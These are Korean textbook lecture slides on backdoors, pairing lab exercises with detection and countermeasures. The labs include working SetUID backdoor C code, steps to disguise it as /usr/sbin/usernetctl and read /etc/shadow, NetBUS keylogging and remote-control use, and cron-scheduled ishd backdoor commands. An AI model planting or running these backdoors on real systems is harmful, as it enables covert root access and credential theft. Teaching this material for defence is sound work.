Transcript 그림 9-2

백도어

IT CookBook, 정보 보안 개론과 실습 : 시스템 해킹과 보안(개정판)

Contents

학습목표

   

백도어의 종류를 이해한다.

운영체제에 따른 백도어의 종류를 파악하고, 이를 이용할 수 있다.

백도어를 탐지하고 제거할 수 있다.

백도어에 대한 보안 대책을 수립하고, 이를 수행할 수 있다.

내용

   

백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어 탐지와 대응책

2/62

백도어에 대한 이해

백도어와 트로이 목마

  

트로이 목마 : 사용자가 의도치 않은 코드를 정상적인 프로그램에 삽입한 프로그램 스파이웨어(Spyware) : 설치된 시스템의 정보를 주기적으로 원격지의 특정한 서버에 보내는 프로그램 백도어 : 원래 의미는 운영체제나 프로그램을 생성할 때 정상적인 인증 과정을 거치지 않고, 운영체제나 프로그램 등에 접근할 수 있도록 만든 일종의 통로, Administrative hook이나 트랩 도어(Trap Door)라고도 부름

3/62

백도어에 대한 이해

백도어의 종류

     

로컬 백도어 : 서버의 셸을 얻어내 관리자로 권한 상승(Privilege Escalation)할 때 사용 원격 백도어 : 계정에 패스워드 입력하고 로그인한 것처럼 원격으로 관리자 권한 획득해 시스템에 접근, 네트워크에 자신의 포트를 개방 패스워드 크래킹 백도어 : 인증에 필요한 패스워드를 원격지 공격자에게 보내주는 역할 시스템 설정 변경 백도어 : 시스템 설정을 해커가 원하는 대로 변경하기 위한 툴 트로이 목마 형태의 프로그램 : 처음부터 백도어를 목적으로 만들어진 것은 아니지만 백도어로 동작하는 경우, 윈도우에서는 웹 브라우저나 명령 창, 간단한 게임 등도 백도어와 섞을 수 있다. 이런 백도어를 실행하면 원하는 프로그램이 실행되면서 동시에 백도어도 설치. 해커가 배포되는 프로그램에 배포 사이트 크랙, 정상적인 프로그램을 백도어를 설치한 프로그램으로 바꿔치기 거짓 업그레이드 : 시스템을 패치하거나 업그레이드할 때 잘못된 프로그램 설치

4/62

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기

백도어 생성

백도어의 인수(argv[1])를 system 명령으로 실행하는 간단한 형태

SetUID 비트에 설정과 실행 권한 부여 gcc -o backdoor backdoor.c

chmod 4755 backdoor backdoor.c

#include main (int argc, char *argv[]){ char exec[100]; setuid (0); setgid (0); sprintf (exec, "%s 2>/dev/null ", argv[1]); system (exec); }

5/62

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기

백도어 동작

“ ”안의 명령을 실행해주는 단순한 프로그램 ./backdoor "ls" [그림 9-2] 백도어를 이용한 ls 명령 수행

6/62

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기

id 명령 실행 : 일반 계정 사용해도 uid, gid가 0, 즉 관리자 계정으로 출력

passwd 파일은 wishfree와 같이 일반 계정이 읽을 수 있는 권한 없음

SetUID 비트를 가지고 있는 backdoor 파일을 통해 passwd 파일 조회 시 다음과 같이 출력 ./backdoor "id" ./backdoor "cat /etc/passwd" [그림 9-3] backdoor를 이용한 관리자 소유의 /etc/passwd 파일 내용 읽기

7/62

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기

./backdoor [그림 9-4] 아무런 인수 없이 실행된 backdoor

8/62

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기

백도어 설치

백도어 숨기기

바꿔치기에 적합한 대상 찾기 find / -perm 4755 [그림 9-5] find 명령으로 찾은 권한이 4755인 파일들

일반적으로 거의 사용되지 않는 프로그램을 바꿔치기 할 대상으로 선택 ( /usr/sbin/usernetctl) 실행

백도어 프로그램 실행 시 위와 똑같이 실행되도록 속일 수 있는 백도어 더 만들기

바꾸기

바꾼 백도어 이용(관리자만 읽기 권한이 있는 shadow 파일 읽기 가능)

9/62

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기

일반적으로 거의 사용되지 않는 프로그램을 바꿔치기 할 대상으로 선택 ( /usr/sbin/usernetctl) 실행 /usr/sbin/usernetctl [그림 9-6] 백도어로 사용할 usernetctl 명령 실행

10/62

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기

백도어 프로그램 실행 시 위와 똑같이 실행되도록 속일 수 있는 백도어 더 만들기 printf ("usage: usernetctl \n"); ./backdoor2 [그림 9-7] usernetctl 명령과 같은 결과로 출력되도록 변경한 backdoor2 실행 결과

바꾸기 mv ./backdoor2 /usr/sbin/usernetctl [그림 9-8] backdoor2 파일을 usernetctl로 바꾸기

11/62

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기

바꾼 백도어 이용(관리자만 읽기 권한이 있는 shadow 파일 읽기 가능) /usr/sbin/usernetctl "cat /etc/shadow" [그림 9-9] 백도어로 바꾼 usernetctl를 이용한 /etc/shadow 파일 읽기

12/62

실습 9-2 윈도우 백도어 설치하고 이용하기

NetBUS 서버 설치

NetBUS 파일의 구성

 •

Patch.exe 파일 : 백도어 설치 프로그램

NetBus.exe : 클라이언트 프로그램 Patch.exe 더블클릭해 설치

Patch.exe : 자신을 C:/Windows 밑에 복사, 레지스트리(HKEY _LOCAL_MACHINE /SOFTWARE/Microsoft/Windows/CurrentVersion/Run)에 자신 등록 시스템 시작될 때 자동으로 실행

NetBUS 서버 제거 시 C:/Windows 밑의 patch 파일 삭제, 레지스트리에 등록 값 삭제

13/62

실습 9-2 윈도우 백도어 설치하고 이용하기

NetBUS 클라이언트를 이용한 접속

NetBUS 클라이언트를 이용 NetBUS 서버에 접속하려면 NetBUS.exe 실행

➋ ➌ ➍ ➎ ➏ ➑ ➒ ➐

[그림 9-10] NetBUS 클라이언트 인터페이스

13 ➓ 11 ➊ 12 14/62

실습 9-2 윈도우 백도어 설치하고 이용하기

Host name / IP : NetBUS 서버가 설치된 시스템의 IP와 포트 번호 입력 버튼 누르면 NetBUS 서버와 연결

Server admin : 공격 대상 시스템에 설치된 서버에 대한 접근 제어 설정 [그림 9-11] NetBUS 서버에 대한 접근 권한 설정

Open CD-ROM : 공격보다는 공격 대상 시스템을 사용하고 있는 사용자를 놀림 이 버튼을 누르면 상대방의 시스템의CD-ROM이 열렸다가 닫힘

15/62

실습 9-2 윈도우 백도어 설치하고 이용하기

Start program : 원격지의 프로그램 실행할 때 사용 C:\Windowns\explorer.exe

[그림 9-12] 공격 대상 시스템의 탐색기 실행

Msg manager : 공격자 시스템에 메시지 창을 띄워 임의의 정보를 알림 [그림 9-13] 공격 대상 시스템에 메시지 전송 [그림 9-14] 공격 대상 시스템에 전송된 메시지

16/62

실습 9-2 윈도우 백도어 설치하고 이용하기

Exit Windows : 로컬의 [시작]-[시스템 종료] 기능처럼 시스템 종료

Active wnds : 공격 대상 시스템에서 현재 실행되고 있는 프로그램의 목록 보여줌 이 중 임의의 프로그램 중지 가능 [그림 9-15] 공격 대상 시스템에 실행 중인 프로그램

Mouse pos : 마우스 포인터를 원하는 임의의 위치로 이동

17/62

실습 9-2 윈도우 백도어 설치하고 이용하기

Listen : 상대방이 키보드로 입력하는 모든 값을 공격자의 시스템으로 전달 [그림 9-16] 공격 대상 시스템의 메모장에 입력한 글자 [그림 9-17] 공격자 시스템 화면에 출력되는 글자

Server setup : NetBUS 서버가 설치된 시스템에서 동작하는 Patch.exe로 열어둔 포트 변경, 접속에 패스워드가 필요하도록 설정 [그림 9-18] 공격 대상 시스템에 설치된NetBUS 서버의 설정 창

11

Control mouse : 상대방의 마우스를 사용하지 못하게 하고 공격자가 마우스를 움직이는 대로 상대방 시스템의 마우스 포인터가 움직이도록 함

18/62

실습 9-2 윈도우 백도어 설치하고 이용하기

12

Key manager : 특정 키보드나 모든 키보드가 동작하지 않도록 설정 임의의 키가 눌린 것처럼 키 값을 입력 가능

13

[그림 9-19] 공격 대상 시스템에 임의의 키를 사용 중지하는 설정 Scan : NetBUS가 설치된 시스템 검색 [그림 9-20] NetBUS 서버가 설치된 시스템 검색

19/62

실습 9-2 윈도우 백도어 설치하고 이용하기

백도어 은닉

Joiner와 Blinder로, 하나 이상의 실행 파일(exe)을 하나로 만드는 기능 [그림 9-21] Joiner를 이용한 두 실행 파일의 혼합

20/62

리눅스/유닉스 백도어

http 데몬이 root 계정으로 운영되는 서버에 웹으로 접속 시 root 권한으로 nobody 계정으로 웹에 접속 시 nobody 권한으로 시스템에 자료 요청

  

백도어를 이용하는 외부 침투자도 시스템에서 백도어를 실행한 사용자 권한으로 시스템에 침투 커널 백도어 : 운영체제의 핵심 부분인 커널에 심어 넣는 백도어, 민감하고 난이도 높음 큰 차이는 없으며 커널에서 동작하기 때문에 일반 백도어보다 더 강력 제거하기 어렵고 설치 작업이 까다로움 리눅스에서 백도어 동작 통제 : cron 같은 스케줄러 이용

21/62

실습 9-3 자동 실행형 백도어 설치하고 이용하기

cron 데몬 : 일정 시간이 되면 자체적으로 프로그램 실행, 중지하는 스케줄러 cron 데몬 이해하기 vi /etc/crontab [그림 9-23] /etc/crontab 파일의 내용

22/62

실습 9-3 자동 실행형 백도어 설치하고 이용하기

02 4 * * * root run-parts /etc/cron.daily

 

앞의 숫자, * 3개 : 해당 프로그램이 실행될 시간으로, 각각 분, 시, 날짜, 달, 요일 모두 *이므로 날짜, 달, 요일에 관계없이 매일 04시 02분에 실행.

‘30 16,17 5-7 */2 * reboot’는 2개월마다(*/2) 5일부터 7일까지(5-7)

16시와 17시(16,17) 30분에 재부팅 하라는 의미 [표 9-1] crontab 파일의 시간 관련 설정 값 필드 분 시 날짜 달 요일 사용할 수 있는 값 0∼59 0∼23 1∼31 1∼12 : 달 이름 사용 가능 0 ∼ 7 : 요일 이름 사용 가능 (0과 7은 일요일을 가르킴)

23/62

실습 9-3 자동 실행형 백도어 설치하고 이용하기

ishd 백도어 컴파일

ishd 백도어 툴을 다음과 같이 간단히 설치 tar xvf ish-v0.2.tar.gz

make linux

서버는 ishd 파일 이용 다음과 같이 실행 ./ishd

클라이언트는 다음과 같이 실행 ./ish [서버의 IP 주소] cron 데몬을 이용한 백도어의 구동과 중지

ishd 데몬이 매일 새벽 4∼5시에 구동되므로 공격자는 이 시간에만 접속 시도 0 4 * * * ./ishd -i 65000 0 5 * * * pkill -U root ishd

24/62

백도어 탐지와 대응책

현재 동작중인 프로세스 확인

         

현재 프로세스를 확인하여 백도어가 아닌 정상 프로세스를 아는 것도 매우 중요 윈도우에서 Ctrl+Alt+Delete로 Windows 작업 관리자에서 실행 중인 프로세스 확인 Csrss.exe(Client/Server Runtime SubSystem : Win 32) : 윈도우 콘솔 관장 스레드 생성/삭제 32비트 가상 MS-DOS 모드 지원 Explorer.exe : 작업 표시줄, 바탕 화면 같은 사용자 셸 지원 Lsass.exe(Local Security Authentication Server) : Winlogon 서비스에 필요한 인증 Smss.exe(Session Manager SubSystem) : 사용자 세션 시작 기능, Winlogon, Win32(Csrss.exe)을 구동, 시스템 변수 설정, Smss는 Winlogon이나 Csrss가 끝나기를 기다려 정상적인 Winlogon, Csrss 종료시 시스템 종료 Spoolsv.exe(Printer Spooler Service) : 프린터와 팩스의 스풀링 기능 Svchost.exe(Service Host Process) : DLL(Dynamic Link Libraries)에 의해 실행되는 프로세스의 기본 프로세스, 한 시스템에서 svchost 프로세스 여러 개 볼 수 있음 Services.exe(Service Control Manager) : 시스템 서비스 시작/정지, 그들 간의 상호 작용하는 기능 수행 System : 대부분 커널 모드 스레드의 시작점

25/62

백도어 탐지와 대응책

열린 포트 확인

  

백도어 상당수가 외부와 통신 위해 서비스 포트 생성 시스템에서는 netstat 명령으로 열린 포트 확인 일반 시스템에서 사용되는 포트는 그리 많지 않으므로 주의해 살펴보면 백도어가 사용하는 포트 쉽게 확인 가능

SetUID 파일 검사

 

SetUID 파일 : 리눅스나 유닉스 시스템에서 로컬 백도어로서 강력한 기능 함. SetUID 파일 중에 추가, 변경된 것은 없는지 주기적으로 살펴야 함

바이러스와 백도어 탐지 툴 이용

잘 알려진 백도어는 대부분 바이러스 일종으로 분류, 백신 툴이나 탐지 툴에 발견

무결성 검사

  

시스템에 어떤 변화가 일어나는지 알아보는 것.

MD5 해시 기법 많이 사용 파일 내용이 조금만 바뀌어도 MD5 해시 결과 값이 다르므로 관리자는 주요 파일의 MD5 값을 주기적으로 수집, 검사하여 파일의 변경 내역을 확인

26/62

9-4 윈도우 백도어 탐지하고 제거하기

   

대부분 백도어는 웜을 통해 PC에 설치 백신 툴 없이 백도어 존재여부를 확인/제거 하는 방법 시스템에서는 netstat 명령으로 열린 포트 확인 백도어에 대응하는 기본적인 작업 : 탐지, 제거

`

백도어 실행

‘Win-Trojan.Peamor.416768.zip’파일의 압축 풀어 더블클릭 실행

`

포트 확인- fport

fport 프로그램 이용, 각 포트에 대한 프로그램의 위치와 이름 확인 fport

27/62

9-4 윈도우 백도어 탐지하고 제거하기

[그림 9-25] fport 실행 결과

  

6749포트 서비스 데몬에 IEXPLORE.EXE 있음 IEXPLORE.EXE는 기본적으로 웹 브라우징 위한 클라이언트 프로그램 서비스 데몬을 열고 있는 경우는 비정상

28/62

9-4 윈도우 백도어 탐지하고 제거하기

`

프로세스 확인 - Process Explorer

 

fport에서 확인한 IEXPLORE.EXE의 프로세스를 Process Explorer를 통해 확인 fport에서 확인한 프로세스의 pid는 2716번

 

pid 972, 1012로 확인되는 IEXPLORER와 유사 Private Bytes와Working Set의 메모리 사용량에 현격한 차이 [그림 9-26] IEXPLORER(pid : 2716) 프로세스 확인

29/62

9-4 윈도우 백도어 탐지하고 제거하기

비정상 IEXPLORER는 Parent가 이 프로세스와 관련해 Process Explorer를 살펴보면 아래 창에서‘C:\Windows\system.exe’파일 실행되는 것을 확인 [그림 9-27] 정상 IEXPLORER 프로세스 [그림 9-28] 비정상 IEXPLORER(pid : 2716) 프로세스

30/62